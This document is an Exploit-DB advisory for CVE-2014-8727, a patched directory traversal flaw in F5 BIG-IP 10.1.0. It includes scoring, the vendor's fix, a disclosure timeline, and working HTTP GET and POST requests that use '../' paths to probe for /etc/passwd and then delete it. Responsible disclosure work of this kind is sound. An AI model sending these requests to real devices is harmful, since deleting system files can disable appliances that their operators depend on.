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exploitdbAnastasios MonachosEDB-ID:35222
HistoryNov 13, 2014 - 12:00 a.m.

F5 BIG-IP 10.1.0 - Directory Traversal

2014-11-1300:00:00
Anastasios Monachos
www.exploit-db.com
29

6.2 Medium

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:S/C:N/I:C/A:C

6.4 Medium

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

26.8%

+------------------------------------------------------+
+ F5 BIG-IP 10.1.0 - Directory Traversal Vulnerability +
+------------------------------------------------------+
Affected Product  : F5 BIG-IP
Vendor Homepage    : http://www.f5.com/
Version      : 10.1.0
Vulnerability Category  : Local vulnerability
Discovered by    : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
CVE       : CVE-2014-8727
Patched      : Yes

+-------------+
+ Description +
+-------------+
An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to arbitrary enumerate files and subsequently delete them off the OS level. Any system file deletion, for instance under /etc, /boot etc would have a major functionality and operational impact for the device.

+----------------------+
+ Exploitation Details +
+----------------------+
An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to enumerate files on the operating system and subsequently delete them off the OS level.

In order to trigger the flaw, send a HTTP GET request similar to: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
Condition: If file does not exist the application will return "File not found." If the file exists, the user can either send, a similar to, the next HTTP POST request or simply click on the Delete button through the GUI -the button will be displayed only if the enumerated file exists-.

Sample HTTP POST request:

POST /tmui/Control/form HTTP/1.1
Host: <ip>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?name=../../../../../etc/passwd
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 937

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

+----------+
+ Solution +
+----------+
F5 has already patched and mitigated the issue, for more information see ID363027 at the following URL:
  https://support.f5.com/kb/en-us/solutions/public/13000/100/sol13109.html
  https://support.f5.com/kb/en-us/products/big-ip_ltm/releasenotes/product/relnote_11_0_0_ltm.html

+---------------------+
+ Disclosure Timeline +
+---------------------+
03-11-2014: Vendor notified at security-reporting [at] f5 [dot] com
04-11-2014: Vendor responded with intent to investigate
04-11-2014: Shared details with vendor
05-11-2014: Vendor confirmed the issue is already patched, reference ID363027
12-11-2014: Public disclosure

6.2 Medium

CVSS2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:S/C:N/I:C/A:C

6.4 Medium

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

26.8%